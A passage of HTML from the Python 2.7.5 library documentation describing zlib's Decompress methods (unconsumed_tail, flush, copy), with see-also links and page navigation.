title="zlib.Decompress.unconsumed_tail"><tt class="xref py py-attr docutils literal"><span class="pre">unconsumed_tail</span></tt></a>. This string must be passed to a subsequent call to <a class="reference internal" href="#zlib.decompress" title="zlib.decompress"><tt class="xref py py-meth docutils literal"><span class="pre">decompress()</span></tt></a> if decompression is to continue. If <em>max_length</em> is not supplied then the whole input is decompressed, and <a class="reference internal" href="#zlib.Decompress.unconsumed_tail" title="zlib.Decompress.unconsumed_tail"><tt class="xref py py-attr docutils literal"><span class="pre">unconsumed_tail</span></tt></a> is an empty string.</p> </dd></dl> <dl class="method"> <dt id="zlib.Decompress.flush"> <tt class="descclassname">Decompress.</tt><tt class="descname">flush</tt><big>(</big><span class="optional">[</span><em>length</em><span class="optional">]</span><big>)</big><a class="headerlink" href="#zlib.Decompress.flush" title="Permalink to this definition">¶</a></dt> <dd><p>All pending input is processed, and a string containing the remaining uncompressed output is returned. After calling <a class="reference internal" href="#zlib.Decompress.flush" title="zlib.Decompress.flush"><tt class="xref py py-meth docutils literal"><span class="pre">flush()</span></tt></a>, the <a class="reference internal" href="#zlib.decompress" title="zlib.decompress"><tt class="xref py py-meth docutils literal"><span class="pre">decompress()</span></tt></a> method cannot be called again; the only realistic action is to delete the object.</p> <p>The optional parameter <em>length</em> sets the initial size of the output buffer.</p> </dd></dl> <dl class="method"> <dt id="zlib.Decompress.copy"> <tt class="descclassname">Decompress.</tt><tt class="descname">copy</tt><big>(</big><big>)</big><a class="headerlink" href="#zlib.Decompress.copy" title="Permalink to this definition">¶</a></dt> <dd><p>Returns a copy of the decompression object. This can be used to save the state of the decompressor midway through the data stream in order to speed up random seeks into the stream at a future point.</p> <p class="versionadded"> <span class="versionmodified">New in version 2.5.</span></p> </dd></dl> <div class="admonition-see-also admonition seealso"> <p class="first admonition-title">See also</p> <dl class="last docutils"> <dt>Module <a class="reference internal" href="gzip.html#module-gzip" title="gzip: Interfaces for gzip compression and decompression using file objects."><tt class="xref py py-mod docutils literal"><span class="pre">gzip</span></tt></a></dt> <dd>Reading and writing <strong class="program">gzip</strong>-format files.</dd> <dt><a class="reference external" href="http://www.zlib.net">http://www.zlib.net</a></dt> <dd>The zlib library home page.</dd> <dt><a class="reference external" href="http://www.zlib.net/manual.html">http://www.zlib.net/manual.html</a></dt> <dd>The zlib manual explains the semantics and usage of the library’s many functions.</dd> </dl> </div> </div> </div> </div> </div> <div class="sphinxsidebar"> <div class="sphinxsidebarwrapper"> <h4>Previous topic</h4> <p class="topless"><a href="archiving.html" title="previous chapter">12. Data Compression and Archiving</a></p> <h4>Next topic</h4> <p class="topless"><a href="gzip.html" title="next chapter">12.2. <tt class="docutils literal"><span class="pre">gzip</span></tt> — Support for <strong class="program">gzip</strong> files</a></p> <h3>This Page</h3> <ul class="this-page-menu"> <li><a href="../bugs.html">Report a Bug</a></li> <li><a href="../_sources/library/zlib.txt" rel="nofollow">Show Source</a></li> </ul> <div id="searchbox" style="display: none"> <h3>Quick search</h3> <form class="search" action="../search.html" method="get"> <input type="text" name="q" /> <input type="submit" value="Go" /> <input type="hidden" name="check_keywords" value="yes" /> <input type="hidden" name="area" value="default" /> </form> <p class="searchtip" style="font-size: 90%"> Enter search terms or a module, class or function name. </p> </div> <script type="text/javascript">$('#searchbox').show(0);</script> </div> </div> <div class="clearer"></div> </div> <div class="related"> <h3>Navigation</h3> <ul> <li class="right" style="margin-right: 10px"> <a href="../genindex.html" title="General Index" >index</a></li> <li class="right" > <a href="../py-modindex.html" title="Python Module Index" >modules</a> |</li> <li class="right" > <a href="gzip.html" title="12.2. gzip — Support for gzip files" >next</a> |</li> <li class="right" > <a href="archiving.html" title="12. Data Compression and Archiving" >previous</a> |</li> <li><img src="../_static/py.png" alt="" style="vertical-align: middle; margin-top: -1px"/></li> <li><a href="http://www.python.org/">Python</a> »</li> <li> <a href="../index.html">Python 2.7.5 documentation</a> » </li> <li><a href="index.html" >The Python Standard Library</a> »</li> <li><a href="archiving.html" >12. Data Compression and Archiving</a> »</li> </ul> </div> <div class="footer"> © <a href="../copyright.html">Copyright</a> 1990-2020, Python Software Foundation. <br /> The Python Software Foundation is a non-profit corporation. <a href="http://www.python.org/psf/donations/">Please donate.</a> <br /> Last updated on Oct 13, 2020. <a href="../bugs.html">Found a bug</a>? <br /> Created using <a href="http://sphinx.pocoo.org/">Sphinx</a> 1.1.3. </div> </body> </html>
Close